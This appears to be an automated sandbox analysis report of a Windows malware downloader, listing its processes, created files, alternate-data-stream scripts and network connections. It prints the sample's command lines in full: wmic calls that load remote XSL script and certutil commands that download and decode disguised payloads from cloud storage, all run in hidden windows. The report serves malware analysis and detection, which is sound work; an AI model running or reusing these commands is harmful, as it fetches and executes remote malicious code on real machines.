Technical Information
Malicious functions
Creates and executes the following
- '<SYSTEM32>\wbem\wmic.exe' os get hhIEEFLLS, KKqnncc, TotalSwapSpaceSize /format:"http://ra#.####ubusercontent.com/GCMaia/Sharing/master/.idea/libraries/x/04/v.xsl#025098577hiiiiq"
- '<SYSTEM32>\wbem\wmic.exe' os get JZOGEJGJ, UEKJGTFD, ZKXPTPXL, freevirtualmemory /format:"https://raw.githubusercontent.com/GCMaia/Sharing/master/.idea/libraries/x/04/vv.xsl#126208"
- '<SYSTEM32>\certutil.exe' -urlcache -split -f https://storage.googleapis.com/linuxczv/04/halawxtza.jpg.zip.log?889913437 C:\Users\Public\Libraries\win32\halawxtza.jpg.z
- '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtza.jpg.z C:\Users\Public\Libraries\win32\halawxtza.jpg
- '<SYSTEM32>\certutil.exe' -urlcache -split -f https://storage.googleapis.com/linuxczv/04/halawxtzb.jpg.zip.log?53953087 C:\Users\Public\Libraries\win32\halawxtzb.jpg.z
- '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzb.jpg.z C:\Users\Public\Libraries\win32\halawxtzb.jpg
- '<SYSTEM32>\certutil.exe' -urlcache -split -f https://storage.googleapis.com/linuxczv/04/halawxtzc.jpg.zip.log?18584737 C:\Users\Public\Libraries\win32\halawxtzc.jpg.z
- '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzc.jpg.z C:\Users\Public\Libraries\win32\halawxtzc.jpg
- '<SYSTEM32>\certutil.exe' -urlcache -split -f https://storage.googleapis.com/linuxczv/04/halawxtzdwwn.gif.zip.log?566442724 C:\Users\Public\Libraries\win32\halawxtzdwwn.gif.z
- '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzdwwn.gif.z C:\Users\Public\Libraries\win32\halawxtzdwwn.gif
- '<SYSTEM32>\certutil.exe' -urlcache -split -f https://storage.googleapis.com/linuxczv/04/halawxtzdx.gif.zip.log?342087454 C:\Users\Public\Libraries\win32\halawxtzdx.gif.z
Modifies file system
Creates the following files
- %TEMP%\oixzxvv.jpg:jjeuddf.cmd
- C:\users\public\libraries\win32\halawxtzdwwn.gif.z
- <LS_APPDATA>\microsoft\windows\<INETFILES>\content.ie5\re1n75kr\halawxtzdwwn.gif.zip[1].log
- C:\users\public\libraries\win32\halawxtzc.jpg
- C:\users\public\libraries\win32\halawxtzc.jpg.z
- <LS_APPDATA>\microsoft\windows\<INETFILES>\content.ie5\bzjx5bke\halawxtzc.jpg.zip[1].log
- C:\users\public\libraries\win32\halawxtzb.jpg
- C:\users\public\libraries\win32\halawxtzb.jpg.z
- C:\users\public\libraries\win32\halawxtzdwwn.gif
- <LS_APPDATA>\microsoft\windows\<INETFILES>\content.ie5\caasbycl\halawxtzb.jpg.zip[1].log
- C:\users\public\libraries\win32\halawxtza.jpg.z
- <LS_APPDATA>\microsoft\windows\<INETFILES>\content.ie5\0u8lpyu9\halawxtza.jpg.zip[1].log
- %TEMP%\sxsfc89.tmp
- <LS_APPDATA>\microsoft\windows\<INETFILES>\content.ie5\re1n75kr\vv[1].xsl
- %TEMP%\onehimcl.jpg:init.cmd
- %TEMP%\sxsecba.tmp
- <LS_APPDATA>\microsoft\windows\<INETFILES>\content.ie5\caasbycl\v[1].xsl
- C:\users\public\libraries\win32\halawxtza.jpg
- <LS_APPDATA>\microsoft\windows\<INETFILES>\content.ie5\0u8lpyu9\halawxtzdx.gif.zip[1].log
Network activity
Connects to
- 'st#####.googleapis.com':443
TCP
HTTP GET requests
- http://ra#.####ubusercontent.com/GCMaia/Sharing/master/.idea/libraries/x/04/v.xsl
- http://oc##.#odaddy.com//MEQwQjBAMD4wPDAJBgUrDgMCGgUABBTkIInKBAzXkF0Qh0pel3lfHJ9GPAQU0sSw0pHUTBFxs2HLPaH%2B3ahq1OMCAxvnFQ%3D%3D
UDP
- DNS ASK ra#.####ubusercontent.com
- DNS ASK st#####.googleapis.com
- DNS ASK oc##.#odaddy.com
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /c echo wmic ^os ^get ^JZOGEJGJ, ^UEKJGTFD, ^ZKXPTPXL, ^freevirtualmemory ^/format:"https://raw.githubusercontent.com/GCMaia/Sharing/master/.idea/libraries/x/04/vv.xsl#126208" > %TMP%\ONEHIMCL...' (with hidden window)
- '<SYSTEM32>\certutil.exe' -urlcache -split -f https://storage.googleapis.com/linuxczv/04/halawxtza.jpg.zip.log?889913437 C:\Users\Public\Libraries\win32\halawxtza.jpg.z' (with hidden window)
- '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtza.jpg.z C:\Users\Public\Libraries\win32\halawxtza.jpg' (with hidden window)
- '<SYSTEM32>\certutil.exe' -urlcache -split -f https://storage.googleapis.com/linuxczv/04/halawxtzb.jpg.zip.log?53953087 C:\Users\Public\Libraries\win32\halawxtzb.jpg.z' (with hidden window)
- '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzb.jpg.z C:\Users\Public\Libraries\win32\halawxtzb.jpg' (with hidden window)
- '<SYSTEM32>\certutil.exe' -urlcache -split -f https://storage.googleapis.com/linuxczv/04/halawxtzc.jpg.zip.log?18584737 C:\Users\Public\Libraries\win32\halawxtzc.jpg.z' (with hidden window)
- '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzc.jpg.z C:\Users\Public\Libraries\win32\halawxtzc.jpg' (with hidden window)
- '<SYSTEM32>\certutil.exe' -urlcache -split -f https://storage.googleapis.com/linuxczv/04/halawxtzdwwn.gif.zip.log?566442724 C:\Users\Public\Libraries\win32\halawxtzdwwn.gif.z' (with hidden window)
- '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzdwwn.gif.z C:\Users\Public\Libraries\win32\halawxtzdwwn.gif' (with hidden window)
- '<SYSTEM32>\certutil.exe' -urlcache -split -f https://storage.googleapis.com/linuxczv/04/halawxtzdx.gif.zip.log?342087454 C:\Users\Public\Libraries\win32\halawxtzdx.gif.z' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' -
- '<SYSTEM32>\cmd.exe' /c echo wmic ^os ^get ^JZOGEJGJ, ^UEKJGTFD, ^ZKXPTPXL, ^freevirtualmemory ^/format:"https://raw.githubusercontent.com/GCMaia/Sharing/master/.idea/libraries/x/04/vv.xsl#126208" > %TMP%\ONEHIMCL...
